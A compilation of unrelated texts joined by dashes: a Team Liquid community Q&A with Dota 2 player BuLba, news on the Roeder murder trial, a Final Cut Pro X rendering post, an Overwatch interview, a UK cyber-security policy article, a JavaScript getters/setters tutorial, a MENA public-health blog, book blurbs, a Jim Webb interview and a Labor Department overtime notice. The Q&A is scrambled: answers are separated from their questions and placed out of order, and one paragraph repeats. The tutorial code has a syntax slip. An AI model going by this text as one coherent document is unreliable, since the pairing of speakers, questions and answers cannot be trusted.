[Dac]  How did you come up with the idea for Tinker’s March build? [msl]  What's currently the best hero no one's ever picking up? Also, what are the main differences - both mechanically and mentally - between playing the offlane and playing solo mid? [GoingGoingGone]  This question is quite difficult because each team has different responsibilities for the offlaner and the mid. For example, Na’Vi farms a lot more on Dendi and relies on him winning his lane. Alliance on the other hand relies on s4 to be very unselfish in his play. He helps his team a lot and makes a lot of plays in the mid game. They are two different styles of playing mid lane besides the normal CS’ing and lane control.  Offlane is also different as you see Chinese teams rely on the offlaner to set up ganks and be teamfight controllers while Alliance relies on Bulldog to have a lot of farm and help in the mid to late game. Both positions need a lot of map awareness and laning skill.  Which role do you enjoy playing more: offlane or mid position? [CylerBelmont]  What would it take to make Invoker "viable" mid again? He was top tier at TI2 and as far as I can remember his only nerf was -4 base damage. With the prominence of supports pulling regen and Treant Protector making any 1v1 winnable, why don't we see him more? [Thomas7575]  For a new player that has basic RTS knowledge (coming from BW and SC2) and does not want to feed, what would be a good tip for playing better at Dota 2? [s.a.y]  Why don't we see Clockwerk mid? He's an insanely good ganker and that early levels should help get some good ganks going pretty quickly, no? Aside from OD, I also don't see any hero completely destroying him on that lane. [Mandalor]  Who do you think is the best Clockwerk in the world, other than yourself? [thragar]  What do you think are issues IceFrog didn't address in 6.79? With Zenith and MUFC disbanding, where do you see SEA Dota going? Can you beat YajirobefromDC? [meniscus-]  Do you think Valve need to put more gameplay items in the game? If so, for what role (support, carry, etc.)? [yookstah]  Do you see yourself as a franchise Liquid player in the same way as say Ret, TLO, etc. in the Starcraft team? Concisely, do you see yourself as Liquid for life? [TemujinGK]  Who has been your favorite player currently active in the scene to watch and learn from and what sort of impact has learning from this player made on your own play? [Koalabee Juniper]  Your favorite Pokémon? [Oukka]  Would you choose to have a real life Bulbasaur or to win TI4? (The Bulbasaurs are watching this.) [kellymilkies]  Sorry Kelly, but winning TI4!  This time, we also have a few bonus questions:  Will you play Bloodseeker mid in competitive Dota? [Nazgul]  What are you fiending on right now? [Hot_Bid]  Why do you lose to Arteezy mid? Explain how being a vegetarian in China has affected you psychologically. [Fluff]  How does it feel to be the second best Tinker in the world? [Qojqva]  Writer: CountChocula  Gfx: fusefuse, riptide  Editor: riptide  Banner image by: R1CH  : CountChocula: fusefuse, riptide: riptide Being second to EternaLEnVy is being second to God Himself. We’re 50/50 in 1v1s. China’s food made me depressed. Stuff to abuse in new patch. 我会让他们连馒头都吃不到 Those championships owed me over the years, I will take them back one by one. Maybe, but I doubt TC thinks the hero is legit. Darkrai I think for this year, the player I felt that had the most impact was s4. His gameplay understanding surpassed every other individual for ti3 and he led his team to several victories. I really enjoy his playstyle. I don’t think I can say I am on the same franchise-level as TLO or Ret for Liquid. They both have represented Liquid for quite a long time and Dota is still quite new in the Team Liquid community. I do however hope to be Liquid 4 Life. I’m not very sure on this one. I can’t really think of an item that is needed that desperately. One of the best things about Dota is definitely the variety of items that fill every role. Honestly the direction that 6.79 took was something I never thought would happen. Not that it’s bad or anything, but it was very sudden and out of nowhere. I haven’t seen a patch that didn’t change as many things core to the game as this one did. I recently sent my opinions about 6.79 to the TL writers about the patch, but it was before playing it. I was totally wrong about how pulls would change the game. Now it seems like pulls don’t even matter as much let it be from Radiant or Dire. I dislike the whole pooling 1 tango thing. It’s very weird seeing like 4 tangos in an inventory and it should have just not been allowed anymore. Mid item builds feel so random and I also felt there should have been a change to runes. The first rune at 2 minutes feels so imbalanced towards however gets it. Even more so than before because you could at least bottle crow if you don’t get the rune, but now the person that doesn’t get the rune is somewhat screwed if he is playing a hero that relies on bottle to lane like Beastmaster or Dragon Knight. Also the Lich change was probably one of the most unnecessary changes. The game was changed to favor dual lanes and the best dual laning hero in the game got buffed. Besides the things I dislike, I do enjoy a lot of the hero changes including Axe, Disruptor and Broodmother. bOne7, however I flame some of his builds to him and we argue. We do occasionally see Clock mid, but definitely not as much as offlane. I think a big reason is that Magnus stopped being picked. Clock did fine versus him in lane and was good versus him in game. Also Clock doesn’t necessarily scale as much as other heroes with farm. He has his spells and his spells are the reason that he is strong. Yes, Force Staff, Aghanim’s and BKB are very good items on him, but his strength is his spells and ability to leech experience and be an annoying initiator. Also when he is mid, he does a lot weaker versus ranged heroes compared to how he does in the side lane. Using cogs to burn mana is a lot harder mid, because there isn’t much space and his lane pushing is not as good as other heroes. However, I think that a snowballed Clock from mid lane is probably one of the strongest heroes in the game. He gets great coverage of runes and can gank any lane easily. Mid Clock is probably my favorite way to play the hero. I think the biggest thing is watching competitive play and not just on streams, but watching replays and player perspectives. See the actions they make and how they play and try to imitate it. This along with practicing and playing a lot will help a ton. Dota is a game which requires a lot of knowledge as well as mechanics, so both of these things need work. There are plenty of resources for knowledge in the form of Youtube videos and guides, but mechanics need to be practiced and imitated. The main problem with Invoker is that BKBs are so strong. He also doesn’t have the same teamfighting abilities as a Puck with a Blink Dagger and is very easy to gank. His laning also lacks lane pushing and rune control, because he doesn’t use bottle as efficiently as other heroes like Puck or Dragon Knight. With the new patch however, we might see him come back - not necessarily because of his buff, but because of how Bottle got nerfed. You do need a Midas as mid Invoker though. The mid position because my favorite heroes besides Clockwerk usually are laned there. Also I enjoy the aspect of how much control you have over the game from the mid lane position. The best hero that no one is picking much is probably Disruptor in my opinion. However we might see an increase in Disruptor picks after 79.This question is quite difficult because each team has different responsibilities for the offlaner and the mid. For example, Na’Vi farms a lot more on Dendi and relies on him winning his lane. Alliance on the other hand relies on s4 to be very unselfish in his play. He helps his team a lot and makes a lot of plays in the mid game. They are two different styles of playing mid lane besides the normal CS’ing and lane control.Offlane is also different as you see Chinese teams rely on the offlaner to set up ganks and be teamfight controllers while Alliance relies on Bulldog to have a lot of farm and help in the mid to late game. Both positions need a lot of map awareness and laning skill. Tinker was always one of my favorite heroes because of his high skillcap. However there was a lack of stability with the hero, because he needed to snowball using Missile Laser. As people and teams got better, you couldn’t necessary rely on your two nukes to carry you through the early game. The hero also needs a lot of items. March felt very strong in Dota 2 and I started experimenting with it. Finally when I was on EG, Demon and I used the ancient Tinker strat and it became popular since then. I started either 2-0-4 or 1-1-4 with the hero and rushed Blink Dagger after Boots of Travel, so I can shift queue into the forest and spam March. People were going Force Staff rush before and I disliked Force first. Elder Titan definitely needed changes. His damage nerf on Spirit made him weaker as a laner, because the timing window where you have to 1 shot the ranged creeps is a lot smaller now. However he is still as strong throughout the game due to the Aura. Experience is always the biggest aspect. It is just harder for NA teams to play competitive compared to European teams and Asian teams due to time restraints. The NA competitive pool besides the 3 top teams has some teams with potential, but the issue is that most of them have no experience. There are a few players that have very high individual skill though, but you will never see them band together. Another issue is the lack of good support players that are not on the top 3 NA teams so it is hard to find cohesion among the individually skilled players. One player on team Typical Mistakes impressed me tremendously though. Name is Andrew “Vt.Jubei” Evelyn. Hopefully soon! Tinker is a hero that has to fit perfectly in a draft usually, because he requires so much farm. However once he gets his farm, he is quite unstoppable if a good player plays it. The best practical joke was probably the one that Hot_Bid and Korok pulled on me after I saw the movie Conjuring. What a scary movie. As for interesting facts, Wayto is a worse bowler than I am. TC smiles 24/7 in real life. Our editors will pick the 20 best questions from this thread and BuLba will answer them, after which the answers will be slotted in below.Ask away, TL! Sam "BuLba" Sosale is a hometown hero here on Team Liquid. A member of Liquid Dota since its inception, BuLba is one of the most vocal North American Dota players on the scene. He loves the community and often posts on our Dota 2 forums right here on TL.We last had BuLba on our Community Q&A in February , and thus felt it was time we let you guys have another crack at him. A lot has happened since then for Sam (including a great run at TI3), and we're sure you have a lot to ask him!
-The judge in the trial of a man accused of murdering an abortion doctor dealt the defence a major setback Thursday, ruling that the jury cannot consider a lesser charge of manslaughter.  The ruling in a Wichita, Kan., courtroom came hours after Scott Roeder took the stand in his own defence and admitted killing Dr. George Tiller on May 31, 2009, in the foyer of a Wichita church the doctor attended. He had previously confessed publicly to the shooting.  Roeder said he acted to save the lives of unborn children.  Roeder's lawyers had hoped to win a lesser conviction of voluntary manslaughter, which requires them to show their client had an unreasonable but honest belief that deadly force was justified. The charge carries a considerably lighter sentence than murder.  Roeder has pleaded not guilty to first-degree murder and aggravated assault. Asked by his own lawyer about his views on abortion, the 51-year-old Roeder, who is from Kansas City, Mo., said he believes it amounts to murder.  "From conception forward, it is murder," Roeder told the court. "It is not a man's job to take life. It is our heavenly father's. He is our creator."  Roeder replied "yes" or "no" to many of the questions he was asked, and his attempts to elaborate drew frequent objections from prosecutors, who say Roeder lacks the medical expertise to describe Tiller's practice.  When asked to detail the types of abortion procedures he was familiar with, Roeder answered "four or five" and then listed them. In one instance, he described a procedure as involving the fetus being "torn limb from limb" — a characterization that prompted a quick objection from the prosecution.  Before Roeder took the stand, District Judge Warren Wilbert barred former Kansas attorney general Phill Kline, who is known for campaigning against abortion, from testifying after listening to a preview of Kline's testimony without the jury present.  Kline investigated Tiller's clinic, Women's Health Care Services, in 2006 because he suspected Tiller was violating Kansas's laws pertaining to late-term abortion. The case was later dropped because of jurisdictional issues.  Wilbert said allowing Kline's testimony at the trial would be "inappropriate" and said much of it amounted to "exactly what this court seeks to avoid."  "I said I would not allow this courtroom to turn into a forum or a referendum on abortion," Wilbert said.  The decision to bar Kline's testimony hampers the strategy of the defence, which had hoped to show that Roeder based his actions in part on Kline's belief that Tiller was breaking the law — a potential step toward a lesser conviction of voluntary manslaughter.  Wilbert had reminded Roeder's lawyers in court on Wednesday that they had to couple a voluntary manslaughter defence with a showing of imminent danger posed by the doctor. He noted abortion is legal in Kansas.  The two counts of aggravated assault Roeder faces are for allegedly using a gun to threaten two ushers who tried to stop him after the May 31 shooting.
-10.0.6 brings a 3200% speed increase when rendering effects on a Final Cut Pro X timeline  This week's Final Cut Pro X upgrade to 10.0.6 brought some excellent new features and some much requested old features back. But under the hood there have been more changes, one of them turbo boosting rendering on the timeline by a massive 3200%!  We would say that it would be hard to find anybody in the industry that didn't think 10.0.6 was a pretty good update to FCPX. But guess what, some people were slamming it before anybody had downloaded it. It really does make us wonder why if people are so happy with other NLEs, why should they keep moaning about FCPX when they don't even use it?  We won't go on about the new features within FCPX, but we will point out one HUGE improvement that has gone rather unoticed over the last couple of days.  You may or may not have been aware that up until 10.0.6 there were large differences between render times of effects on the timeline and the same effects on export. This was because on export, the Mac used all the resources it could to get that movie out and that included the GPU or Graphics Processing Unit. Rendering on the timeline was a different matter and that was done by the CPUs in the background. In the 10.0.6 update, the GPU is now used for rendering on the timeline which has led to a massive improvement in rendering times.  So why should we be interested in this? The majority of effects, generators, titles and transitions are written using Motion which is a heavy user of the GPU. Some of the effects within FCPX are coded, they are the ones that you cannot open when right clicked.  So we thought that we would do a little test.  We took the office iMac which is under a year old and did a like for like comparison of render times of an effect before and after the move from 10.0.5 to 10.0.6. So same machine, latest OSX, same project, same effect.  We decided to use a plugin called Box Roll from the XEffects 3D Transitions pack and turn all the 3D features like distance blur and reflections up to the max. The project was 1080p 25fps ProRes 422 and the effect we put at a duration of 5 Seconds.  We were amazed by the results.  10.0.5  Ouch! And here is 10.0.6  That is a huge 3200% improvement in timeline rendering times! It will also mean less dropped frames on playback as the GPU will have a go at playing complex effects.  This is a great improvement for all FCPX users and will definately speed up the editing process and allow the use of GPU intensive effects to be able to be played without stuttering. We also noticed that the thumbnail previews in the transitions browser were much more responsive.  If anybody else has figures on other effetcs showing the stunning improvement then we would love to post them as an update.  Just to clear one point up, we forced the effect render from a menu command, not just leaving background rendering to finish it. Will be interetsting if background rendering is as quick.  Nice one Apple, 3200 thank yous!
-Overwatch’s Play of the Game feature is iconic as it is infamous. On one hand, it gives big moments a few seconds of fame and encourages friends and foes alike to say, “OK yeah, that was pretty cool.” But it goes against the grain of Overwatch’s team focus, and it misfires. A lot.  In the past, Blizzard has acknowledged POTG’s flaws, but the feature hasn’t changed much in ways that are immediately apparent. “We are tweaking it regularly, but not massively revamping it,” lead hero designer Geoff Goodman told me during an interview at BlizzCon.  He added, however, that Play of the Game won’t keep rewarding people for running down hallways and dying forever. Play of the Game 2.0 is in the works.  “There’s a plan to do what we’re calling Play of the Game 2.0,” he said. “It’s been on the books for a little while. It’s just a matter of prioritizing everything. We have a lot of really cool ideas. We want to do a lot with the camera work. We have ideas for cooperative Play of the Games. Because what we have right now, is Zarya could ult, and then Genji gets the credit. And that’s like, ‘Come on!’”  “So we want to highlight the combo play itself, to show both,” he added. “There’s some tricky things there, like how do we handle Play of the Game intros, and how do we decide who gets credit.”  Advertisement  And of course, it’s a mean feat of engineering to figure out, which further complicates matters.  Still, it’s something fans have been clamoring for (some have even mocked up what it might look like), so it’s something Goodman and co very much plan to do in the near-ish future. “It could be cool with Mercy too,” he said, offering another example of a hero who doesn’t get much credit these days. “She could rez everybody, and then they could get a bunch of eliminations.”  At that point, I added that intros could show heroes high-fiving or hugging or doing special character-specific animations. “I hadn’t even thought about that,” said Goodman. “That’s cool!”  Advertisement  So you’re welcome for that part of the feature when it inevitably makes it into the game, everybody.
-Image copyright Thinkstock  A skills shortage and "chaotic" handling of personal data breaches are undermining confidence in the government's ability to protect the UK from cyber attacks, MPs have warned.  The Commons Public Accounts Committee said ministers had taken too long to consolidate the "alphabet soup" of agencies tasked with stopping attacks.  Cyber attacks are ranked among the top four risks to UK national security.  The government said it had acted with "pace and ambition" on the issue.  In November, Chancellor Philip Hammond said that hostile "foreign actors" were developing techniques that threatened the country's electrical grid and airports.  'Nato targeted'  And in a speech on Thursday night, Defence Secretary Sir Michael Fallon warned that Russia was carrying out a sustained campaign of cyber attacks targeting democracy and critical infrastructure in the West.  Media playback is unsupported on your device Media caption Former GCHQ deputy Brian Lord tells Today the lack of cyber security skills leave UK 'vulnerable'  Moscow was "weaponising misinformation" in a bid to expand its influence and destabilise Western governments and weaken Nato, he said.  Russian hacks 'aim to destabilise West'  The committee of MPs found that the role of the Cabinet Office, which is responsible for protecting all government information from attack, remained unclear.  Could we say that we are cyber-bomb proof? Probably not, but I'm not sure anyone could Prof Alan Woodward, Computer security expert  "Its approach to handling personal data breaches has been chaotic and does not inspire confidence in its ability to take swift, coordinated and effective action in the face of higher-threat attacks," said Labour MP Meg Hillier, who chairs the committee.  "In this context, it should concern us all that the government is struggling to ensure its security profession has the skills it needs."  Reporting of data breaches varied across Whitehall, with some departments highlighting thousands while others recorded none at all, a system the MPs described as "inconsistent and chaotic".  'Investing £1.9bn'  "Without a consistent approach across Whitehall to identifying, recording and reporting security incidents, the Cabinet Office is unable to make informed decisions about where to direct and prioritise its attention," the committee said.  A spokesman for the Cabinet Office said: "The government has acted with a pace and ambition that has been welcomed by industry and our international partners right across the globe.  "Our comprehensive and ambitious national cyber security strategy, underpinned by £1.9bn of investment, sets out a range of measures to defend our people, businesses, and assets; deter and disrupt our adversaries; and develop capability and skills."  Image copyright Getty Images  A spokesman for the UK's National Cyber Security Centre, which has been operational for four months, said the unit had "transformed how the UK deals with cybersecurity".  It had provided "real-time cyber-threat information to 3,000 organisations from over 20 different industries, offering incident management handling and fostering technical innovation".  Prof Alan Woodward, a computer security expert from the University of Surrey, said the report was "a little unfair".  The weakest link?  "Could we say that we are cyber-bomb proof? Probably not, but I'm not sure anyone could," he said.  "But we are getting better, and the government is taking strides to get its own house in order."  The weakest link in any cybersecurity clampdown remained people, Prof Woodward said.  "There are still people who copy things they shouldn't on to laptops or people who decide to connect a nuclear power station to the internet," he said.
-Creating Read-Only & Virtual Attributes with JavaScript Getters and Setters  TL;DR Getters and setters let us create read only attributes of JSON objects. They work in all current browsers (except IE8), so you can use them today  Getters and Setters allow us to create functions to set attributes on our JavaScript objects. This allows us to create pseudoelements and store and retrieve computed values, much as we can with Ruby.  They allow us to write code such that, when we access an attribute of an object, we are actually calling a function. We can use them to create read only properties, write only properties, virtual properties, etc.  Browser support  Getters and setters were actually part of the ES5 specification, but browser support is only now catching up. They work in all the evergreen browsers (as you would expect) plus IE9.  Let's make a cat  Here's a nice cat called Miffy. You'll notice that Miffy is just a plain old JSON object:  var cat = { name : "Miffy" , age : 12 }  We can interact with Miffy as you would expect:  console . log ( cat . name ) // outputs "Miffy"  Enter Getters  Getters allow us to create a function that will be called when we access an attribute, and which will retrieve a value. Let's recode Miffy with a getter.  var cat = { get name () { return "Miffy" ; }, age : 12 };  Note that we can still interact with our cat in exactly the same way:  console . log ( cat . name ); "Miffy"  The cat name is now immutable  Because we only have a getter, the value of cat.name cannot be changed. We have created a read only attribute of a JSON object:  cat . name = "Hermionie" ; console . log ( cat . name ); "Miffy"  Dynamic Values  We use getters to compute values dynamically and return them as though they were just attributes. Here we generate a description from the name and age. I can treat it just like an attribute:  var cat = { name "Miffy" , age : 12 , get description () { return [ this . name , 'is' , this . age ]. join ( ' ' ); } }; console . log ( cat . description ); "Miffy is 12" cat . age = 45 ; console . log ( cat . description ); "Miffy is 45"  Say our cat has a date of birth. We might dynamically generate an age attribute. It just works. We don't need to manually call a function to compute it.  var cat = { dateOfBirth : new Date ( 1953 , 12 , 12 ), get age () { var now = new Date (); return new Date ( now - this . dateOfBirth ). getFullYear () - 1970 } }; console . log ( cat . age ) // outputs 62. Poor old cat.  Setters  Setters let us set a value as though it were a property of the object.  var cat = { set name ( name ) { this . _name = name } };  Now we can set the value of name but not get it.  This lets us create virtual object properties  We can store this value anywhere.  We might store the value in an attribute of the object, as I've done above.  We might store it in a closure.  We might compute a value to save, perhaps doing some validation.  We might save the value in a cookie, or supercookie.  We might send the data to an API.  The possibilities are endless.  Here we receive a dateOfBirth and store an age:  var cat = { set dateOfBirth ( dateOfBirth ) { var now = new Date (); this . age = new Date ( now - dateOfBirth ). getFullYear () - 1970 } }; cat . dateOfBirth = new Date ( 1953 , 12 , 12 ); console . log ( cat . age );  Removing Setters and Getters  You can remove setters and getters altogether just like any other property using delete:  delete cat . dateOfBirth console . log ( cat . dateOfBirth ) undefined  This removes the virtual property altogether. It doesn't just overwrite it with null, it's completely gone.
-From the exhilaration of popular revolution to the tragedy of on-going conflict, the Middle East and North Africa (MENA) region has occupied a prominent place in the headlines. Yet there is another, often silent, drama that is not receiving the attention it deserves.  It is playing out in both rich and poor countries, albeit in different forms. A series of alarming statistics reveal a deterioration in the overall health of the people of the region. This trend is aggravated by underfunded public health systems that provide limited and low quality care.  MENA governments commit on average only eight percent of their national budgets to healthcare. This compares with an average of 17 percent in OECD countries. One significant consequence of this low spending is that individuals are made to shoulder the majority of the costs for care. It often forces households, poorer ones especially, into making the difficult choice between spending on health or other necessities, such as food and education.  In Yemen, the statistics for malnutrition and stunting have reached emergency proportions. Close to 60 per cent of children are stunted and are at increased risk of death due to malnutrition  The region is currently paying a high social cost for the lack of attention paid to public health, and these costs will grow ever more severe in the absence of concerted action. Obesity is nearing epidemic proportions in MENA, with some of the highest rates in the world.  In Egypt, half of all women are obese and one fifth of all men - landing them in the global top 20 for obesity. Among women, Kuwait ranks second globally with 55.2 per cent of its female population considered obese. Other Middle Eastern countries which made it to the Global Top 20 for female obesity include the United Arab Emirates (UAE) (42.0 percent), Bahrain (37.9 percent), and Jordan (37.9 percent).  The obesity rates are not much better for men. Within the top 20 countries globally, 29.6 percent of Kuwaiti men are obese followed closely by UAE (24.5 percent), Saudi Arabia (23.0 percent), and Bahrain (21.2 percent).  Obesity is closely linked to chronic diseases, such as diabetes, high blood pressure and heart disease. In fact, heart disease is the leading cause of death and disability in the Arab world, while high blood pressure is the second leading cause (and has been for the past 20 years).  At the same time, alongside obesity, there are high levels of child under/malnutrition and stunting across the region. In Egypt, 30 percent of children below five years of age are stunted, while 20 percent of children within the same age category are obese. The statistics also reveal significant regional inequalities, with children in rural areas experiencing higher rates of stunting compared to urban areas.  In Yemen, the statistics for malnutrition and stunting have reached emergency proportions. Close to 60 per cent of children are stunted and are at increased risk of death due to malnutrition. Other countries that have a high burden of child under/malnutrition include Morocco, Iraq, Libya and Syria.  While under-nutrition can threaten the lives of young children, it also has long-term effects such as impaired cognitive development. This can affect everything from school performance to productivity and earnings in later adult life. Undernourished children may be particularly sensitive to weight gain as adults, with an increased risk for diabetes and cardiovascular disease.  Turning to young people in the region, and young men specifically, their main cause of death currently is road traffic accidents. In one year 35,900 young men died due to traffic injuries (2010). Although death due to traffic accidents is the third largest killer in the Arab world - for people of all ages - (a total of 73,500people of all ages perished in 2010) young people are disproportionally affected. Also a large killer of children after their first year of life, with the 3,950 casualties in 2010, road traffic accidents are robbing the region of its future generations!  The region is at a critical historical juncture and with it comes also a window of opportunity to transform its health systems - an opportunity to move from only treating sickness to instead focus on preserving and promoting health  Depression is the leading cause of illness for women in MENA. It is especially women between the ages of 15 and 49 that are affected. In fact, the prevalence of depression among women in MENA is ranked higher than any other region. While men in MENA are also more prone to depression, the percentage gap between men and women is higher in MENA than all other regions, with the exception of Latin America and the Caribbean.  Despite all of these daunting health challenges governments are not focusing on preventive interventions. Prevention could result in tremendous future savings - but most importantly it could improve long-term health and protect people from future suffering. There are several factors that impact health, many of which lie outside the health sector itself, such as education, sanitation, roads, environment, etc. Preventive care can be achieved through policies aimed at behavioural risk factors.  The Arab world presents a good environment for successful prevention. The region has high literacy rates and relatively good media coverage; critical elements for effective, mass scale public information campaigns.  In addition, school enrolment rates are high so targeted school-based interventions on road safety, diet and nutrition etc. could work well. The challenges, therefore, are more about leadership, which is essential to establish the vision and strategies for effective public policies that advocate for better public health.  With low government spending on healthcare, households in the middle-income countries must cover almost 40 percent of all health care costs themselves. Patients in the low income countries have to cover a full 55 percent of healthcare costs out of their own pockets. Unfortunately, many cannot afford these medical expenses so people either chose to forgo much needed medical care or face impoverishment as a result.  The low public financing for health compromises both access and quality of care. Patient experiences at health facilities across the region are characterized by long waiting lines, absent providers, lack of privacy and informal payments. Satisfaction with existing health services is very low region-wide. As one Egyptian woman expressed it: "A public hospital is where you lose your life…a private one is where you lose your money".  In order to address the daunting challenges fair and accountable health systems have to be developed, according to a new World Bank strategy for engaging in health in MENA. Fairness - the absence of systematic disparities - could be achieved through prevention and care and the just distribution of the burden of costs according to people’s ability to pay. Accountability - responsibility and answerability- would require that services are effective, safe, cost-conscious, and patient-centred.  The region is at a critical historical juncture and with it comes also a window of opportunity to transform its health systems - an opportunity to move from only treating sickness to instead focus on preserving and promoting health.  There is no time to waste.  Amina Semlali is a human development specialist and works on labour market and social protection issues for the World Bank's Middle East and North Africa Region.  Follow her on Twitter: @Amina_Semlali
-"(a) cartographical gem"  -The Wall Street Journal - Great New (Armchair) Travel Reads  "An utterly exquisite object: atlas as Wunderkammer and bestiary, bound in black cloth and sea-blue card...makes a magnificent case for the atlas to be recognised as literature, worthy of its original name - theatrum orbis terrarum, "the theatre of the world".  -Robert Macfarlane, The Guardian (UK)  "This beautifully illustrated atlas reveals that cartography and the creative imagination have always intersected, spurred on by human wanderlust."  -NPR's 2010 Favorites pick  "'Paradise is an island. So is hell.' Or so says Judith Schalansky in the introduction to her charming, spooky and splendid Atlas of Remote Islands."  -The New Yorker's Book Bench  "...absolutely magical."  -Conde Nast Traveler- CNTraveler.com  "The first five times (or so) that I paged through the Atlas of Remote Islands: Fifty Islands I Have Never Set Foot On and Never Will, I fell deeply in love with the book... Each of author and artist Judith Schalansky's maps--hand-drawn in shades of gray, black, white, and brilliant orange on cadet blue paper--transported me to a, usually, remote island..."  -NationalGeographic.com  "... A testament to the transformative power of maps. Atlas of Remote Islands is a celebration of what can still be accomplished with imagination, paper and ink. Holding it, you feel as if you've stolen the composition book that dreamy girl in the back row of our high school English class is always scribbling into. You page through it and think, Oh, my God. She's a genius."  -Anthony Doerr, TheMillions.com  "That impossible-to-please friend, that cranky relative, that coffee table begging for something more interesting that last Sunday's New York Times Magazine- worry about them no more. Here is your holiday gift, your birthday present, your living room's conversation-igniter."  -HeadButler.com  "The most beautiful and powerful book I have ever seen like this is the Pennyroyal Caxton (King James) Bible, with haunting engravings by the genius Barry Moser. The second most beautiful and amazing book like this I have ever seen arrived, slim and stunning, on my desk days ago: Atlas of Remote Islands. For a child itching to see the world, for the child inside an aged and creaky vessel, for all of us who never stopped dreaming of faraway islands draped in amazing languages and wild stories and a wholly new angle of light, this is the perfect gift."  -Brian Doyle, The Oregonian  "... hand-drawn maps of the remote islands and the fascinating stories that go alongside are utterly captivating..."  -The South Mississippi Sun Herald  "... one of those books that you can easily spend a day dreamily paging through. Beautiful stories are crafted from these remote islands histories, giving character to the pieces of land that could be easily overlooked or forgotten. You want this book."  -World's Best Ever blog www.theworldsbestever.com  "Is it possible to confuse a romance novel for an atlas?... I opened the pages to maps that looked as though they were painted in the Middle Ages. They are clear, artistic, and true to scale. I approached the text and continued my love affair."  -GoNomad.com  "Judith Schalansky's pseudo-tome- the product of a lifetime of studying maps, typography, art and design- is a charming romp through 50 of the most remote islands in the world. But this book is about so much more than maps... it's beautiful...it's charming, fanciful and is part of a near-perfect construction of a book that captures the romance of travel... This is a great coffee table book, perfect for history buffs, dreamers of anyone who sticks pins in their maps and obsessively uses "GTrot" on Facebook."  -LostGirlsWorld.com  "Gorgeously illustrated and with color maps throughout... Judith Schalansky lures us onto fifty remote islands... and proves that the most adventurous journeys still take place in the mind, with one finger pointing at a map."  -Publishing Perspectives  "When we dream of escaping from frantic modern lives into another more perfect kind of existence, the image of an island often comes to mind, a refuge where time slows down, the living is easy and we can at last find inner peace. It's a fantasy, practically a Jungian archetype now... Schalansky's book won a prize in Germany as the most beautiful book of the year. It deserves to win several more. Atlas of Remote Islands is a stunningly accomplished piece of work, as well as being a rare feat of total authorship."  -Rick Poyner at the Observer's Room blog  "The first five times (or so) that I paged through the Atlas of Remote Islands, I fell deeply in love with the book. Each of author and artist Judith Schalansky's maps transported me."  -Intelligent Travel blog  "Last night I devoured the most beautiful book... It's wonderful: it's like Borges' eccentric encyclopedias. It is, in a word, great."  -Caustic Cover Critic blog  "Judith Schalansky's Atlas of Remote Islands perfectly merges the experiences of reading Calvino's Invisible Cities and pouring over an atlas as age eight. I really can't imagine recommending a book more highly."  -Harry Schwartz Eats The World blog  "...what has to be the coolest book released all year. Totally amazing."  -Survival of the Book blog  "Atlas of Remote Islands is a book that opens like a trunk of dusty letters in an attic- full of the promise of the unknown, and the discovery of small delights. There is poetry in the book's simplicity, and a reminder of the beauty of print."  -emagazine.com  "If you ever wonder what kind of place 'real' books will have in an increasingly electronic world, the Atlas of Remote Islands is the perfect example of the power wielded by a physical artifact. This book is a rare gem. It's like your favourite children's fantasy book come to life... it's a little like Lost, and it is like traveling to the moon."  -Writer's Pet blog  "It's a delight... a weird and wonderful assortment."  -Lonely Planet blog  "With hand drawn detailed topographic maps and intricate local histories, each of the islands comes alive through stories about marooned slaves, lonely scientists, lost explorers, mutinous sailors, confused lighthouse keepers, and forgotten castaways."  -Perceptive Travel blog  "An armchair traveler's delight."  -The Philadelphia Inquirer
-Former Virginia Sen. Jim Webb said Tuesday that disillusionment with the Democratic Party among white working class voters is "a dignity issue" and also "a fairness issue."  "When you have diversity programs that exclude people simply because they are white -- and white cultures are very stratified," Webb told Fox News' "Tucker Carlson Tonight." "When you have a racial makeup for your statistics, people tend to forget the people at the bottom in terms of income and education have been frozen out of a lot of stuff in this country."  Webb, a former Secretary of the Navy under Ronald Reagan, was briefly a candidate for the Democratic presidential nomination, but dropped out of the race in October 2015. He also considered making an independent presidential bid, but later dropped that idea.  "The ethnic and racial makeup of the country has dramatically changed, but the laws with respect to affirmative action and diversity have not," Webb said. "Clay County, Kentucky, the poorest county in America, is 94 percent white. And if you were in that county, where there’s a 40 percent poverty rate, wouldn’t you think this is reverse discrimination?"  Webb said that the Democratic Party's shift to "interest group politics" had cost it support among white, low-income voters who turned out for Republican Donald Trump in last week's presidential election. In many cases, he said, white working-class voters had become "whipping posts" for liberal activists.  He described a Democratic Party event where officials discussed how to be more appealing to "the white working vote."  "What I said to them is, ‘This isn’t that complicated. They don’t align themselves with the Democratic Party because they don’t think Democrats like them,’" Webb said. "And I think what we’re seeing right now, finally, is the ability to discuss this issue in an age of political correctness where you can’t even say the words ‘white working people’ without having someone blanch."
-On July 26, 2017 the Department of Labor published a Request for Information (RFI), Defining and Delimiting the Exemptions for Executive, Administrative, Professional, Outside Sales and Computer Employees. For more information, please visit http://www.dol.gov/whd/overtime/rfi2016.htm  The Department published a Notice of Proposed Rulemaking (NPRM) in the Federal Register on July 6, 2015 (80 FR 38515) and invited interested parties to submit written comments on the proposed rule at www.regulations.gov by September 4, 2015. The Department received over 270,000 comments in response to the NPRM from a variety of interested stakeholders. The feedback the Department received helped shape the Final Rule.  Key Provisions of the Final Rule  The Final Rule focuses primarily on updating the salary and compensation levels needed for Executive, Administrative and Professional workers to be exempt. Specifically, the Final Rule:  Sets the standard salary level at the 40th percentile of earnings of full-time salaried workers in the lowest-wage Census Region, currently the South ($913* per week; $47,476 annually for a full-year worker); Sets the total annual compensation requirement for highly compensated employees (HCE) subject to a minimal duties test to the annual equivalent of the 90th percentile of full-time salaried workers nationally ($134,004); and Establishes a mechanism for automatically updating the salary and compensation levels every three years to maintain the levels at the above percentiles and to ensure that they continue to provide useful and effective tests for exemption.  Additionally, the Final Rule amends the salary basis test to allow employers to use nondiscretionary bonuses and incentive payments (including commissions) to satisfy up to 10 percent of the new standard salary level.  The effective date of the final rule is December 1, 2016. The initial increases to the standard salary level (from $455* to $913* per week) and HCE total annual compensation requirement (from $100,000 to $134,004 per year) will be effective on that date. Future automatic updates to those thresholds will occur every three years, beginning on January 1, 2020.
